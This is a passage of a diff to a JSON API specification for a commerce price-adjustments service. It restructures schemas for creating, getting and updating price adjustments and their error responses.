"https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } - } - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociationType", - "type": "string", - "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", - "enum": [ - "ADJUSTMENT" - ] + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" }, - "name": { - "type": "string", - "description": "the name for this price adjustment association" + "id": { + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 - } - } - } - }, - "items": { - "type": "array", - "description": "items this price adjustment association apply to", - "items": { - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "id": { + "maxLength": 1024, "type": "string" } }, "required": [ + "key", "type", - "id" - ] - } + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" + }, + "name": { + "description": "The user friendly name of the price adjustment", + "example": "happy hour discount", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment; Currently only `DISCOUNT` and `FEE` are supported.\n - If the type is `DISCOUNT`, then the price adjustment amount should be subtracted from the total price.\n - If the type is `FEE`, then the price adjustment amount should be added to the total price.\n", + "enum": [ + "DISCOUNT", + "FEE" + ], + "title": "PriceAdjustmentType", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } + }, + "title": "PriceAdjustment", + "type": "object" } }, "responses": { + "401": { + "description": "Unauthorized Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociation", - "type": "object", - "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", + "description": "Price Adjustment Entity; contains all the information about a price adjustment", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", - "readOnly": true, - "format": "uuid" + "amountType": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "enum": [ + "AMOUNT", + "PERCENTAGE" + ], + "title": "AmountType", + "type": "string" + }, + "appliedBeforeTax": { + "description": "flag for if the price adjustment should be applied pre- or post- tax", + "example": true, + "type": "boolean" + }, + "code": { + "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", + "example": "holidays2023", + "type": "string" }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "priceAdjustmentId": { - "type": "string", - "format": "uuid", - "description": "the id of the price adjustment that this price adjustment association refers to" + "description": { + "description": "The user friendly description of the price adjustment", + "example": "15% off of drinks, 10% off of food", + "type": "string" + }, + "enabled": { + "description": "flag for status of the price adjustment", + "example": true, + "type": "boolean" }, "externalIds": { - "type": "array", + "description": "external ids for this price adjustment", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", - "description": "the value of the external id", - "example": "123456789" - } - } - } - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociationType", - "type": "string", - "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", - "enum": [ - "ADJUSTMENT" - ] + "description": "the value of the external id", + "example": "123456789", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" }, - "name": { - "type": "string", - "description": "the name for this price adjustment association" + "id": { + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 - } - } - } - }, - "items": { - "type": "array", - "description": "items this price adjustment association apply to", - "items": { - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "id": { + "maxLength": 1024, "type": "string" } }, "required": [ + "key", "type", - "id" - ] - } - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" + }, + "name": { + "description": "The user friendly name of the price adjustment", + "example": "happy hour discount", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment; Currently only `DISCOUNT` and `FEE` are supported.\n - If the type is `DISCOUNT`, then the price adjustment amount should be subtracted from the total price.\n - If the type is `FEE`, then the price adjustment amount should be added to the total price.\n", + "enum": [ + "DISCOUNT", + "FEE" + ], + "title": "PriceAdjustmentType", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - "required": [ - "code", - "message" - ] + "title": "PriceAdjustment", + "type": "object" } }, "403": { "description": "Authentication Client Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "404": { - "description": "Resource not found", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "422": { "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "500": { - "description": "Internal server error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment-association:create" + "commerce.price-adjustment:create" ] }, { - "operationId": "findPriceAdjustmentAssociation", + "operationId": "findPriceAdjustment", "method": "GET", - "path": "/commerce/stores/{storeId}/price-adjustment-associations/{associationId}", - "summary": "Get a price adjustment association", - "description": "Get a price adjustment association", + "path": "/commerce/stores/{storeId}/price-adjustments/{adjustmentId}", + "summary": "Get a price adjustment", + "description": "Get a single price adjustment by storeId and adjustmentId", "parameters": [ { "name": "storeId", @@ -2514,281 +1868,253 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } }, { - "name": "associationId", + "name": "adjustmentId", "in": "path", "required": true, - "description": "Price Adjustment Association ID", + "description": "Price Adjustment ID", "schema": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], "responses": { + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authentication Client Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociation", - "type": "object", - "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", + "description": "Price Adjustment Entity; contains all the information about a price adjustment", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", - "readOnly": true, - "format": "uuid" + "amountType": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "enum": [ + "AMOUNT", + "PERCENTAGE" + ], + "title": "AmountType", + "type": "string" + }, + "appliedBeforeTax": { + "description": "flag for if the price adjustment should be applied pre- or post- tax", + "example": true, + "type": "boolean" + }, + "code": { + "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", + "example": "holidays2023", + "type": "string" }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "priceAdjustmentId": { - "type": "string", - "format": "uuid", - "description": "the id of the price adjustment that this price adjustment association refers to" + "description": { + "description": "The user friendly description of the price adjustment", + "example": "15% off of drinks, 10% off of food", + "type": "string" + }, + "enabled": { + "description": "flag for status of the price adjustment", + "example": true, + "type": "boolean" }, "externalIds": { - "type": "array", + "description": "external ids for this price adjustment", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } - } - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociationType", - "type": "string", - "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", - "enum": [ - "ADJUSTMENT" - ] + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" }, - "name": { - "type": "string", - "description": "the name for this price adjustment association" + "id": { + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], - "properties": { - "key": { - "type": "string", - "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" - }, - "type": { - "type": "string", - "description": "The type of data that the metafield stores in the `value` field", - "enum": [ - "JSON" - ], - "default": "JSON" - }, - "value": { - "type": "string", - "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", - "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 - } - } - } - }, - "items": { - "type": "array", - "description": "items this price adjustment association apply to", - "items": { - "type": "object", "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "shippingPolicy", + "type": "string" + }, "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], "type": "string" }, - "id": { + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"signatureRequired\" : \"true\" }", + "maxLength": 1024, "type": "string" } }, "required": [ + "key", "type", - "id" - ] - } - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "name": { + "description": "The user friendly name of the price adjustment", + "example": "happy hour discount", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "404": { - "description": "Resource not found", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment; Currently only `DISCOUNT` and `FEE` are supported.\n - If the type is `DISCOUNT`, then the price adjustment amount should be subtracted from the total price.\n - If the type is `FEE`, then the price adjustment amount should be added to the total price.\n", + "enum": [ + "DISCOUNT", + "FEE" + ], + "title": "PriceAdjustmentType", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - "required": [ - "code", - "message" - ] + "title": "PriceAdjustment", + "type": "object" } }, - "422": { - "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "401": { + "description": "Unauthorized Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, - "500": { - "description": "Internal server error", + "404": { + "description": "Resource not found", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment-association:read" + "commerce.price-adjustment:read" ] }, { - "operationId": "updatePriceAdjustmentAssociation", + "operationId": "updatePriceAdjustment", "method": "PATCH", - "path": "/commerce/stores/{storeId}/price-adjustment-associations/{associationId}", - "summary": "Update a price adjustment association", - "description": "Update a price adjustment association", + "path": "/commerce/stores/{storeId}/price-adjustments/{adjustmentId}", + "summary": "Update a price adjustment", + "description": "Update a price adjustment", "parameters": [ { "name": "storeId", @@ -2796,22 +2122,22 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } }, { - "name": "associationId", + "name": "adjustmentId", "in": "path", "required": true, - "description": "Price Adjustment Association ID", + "description": "Price Adjustment ID", "schema": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], @@ -2819,403 +2145,417 @@ "required": true, "contentType": "application/json", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociation", - "type": "object", - "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", + "description": "Price Adjustment Entity; contains all the information about a price adjustment", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", - "readOnly": true, - "format": "uuid" + "amountType": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "enum": [ + "AMOUNT", + "PERCENTAGE" + ], + "title": "AmountType", + "type": "string" + }, + "appliedBeforeTax": { + "description": "flag for if the price adjustment should be applied pre- or post- tax", + "example": true, + "type": "boolean" + }, + "code": { + "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", + "example": "holidays2023", + "type": "string" }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "priceAdjustmentId": { - "type": "string", - "format": "uuid", - "description": "the id of the price adjustment that this price adjustment association refers to" + "description": { + "description": "The user friendly description of the price adjustment", + "example": "15% off of drinks, 10% off of food", + "type": "string" + }, + "enabled": { + "description": "flag for status of the price adjustment", + "example": true, + "type": "boolean" }, "externalIds": { - "type": "array", + "description": "external ids for this price adjustment", "items": { "$id": 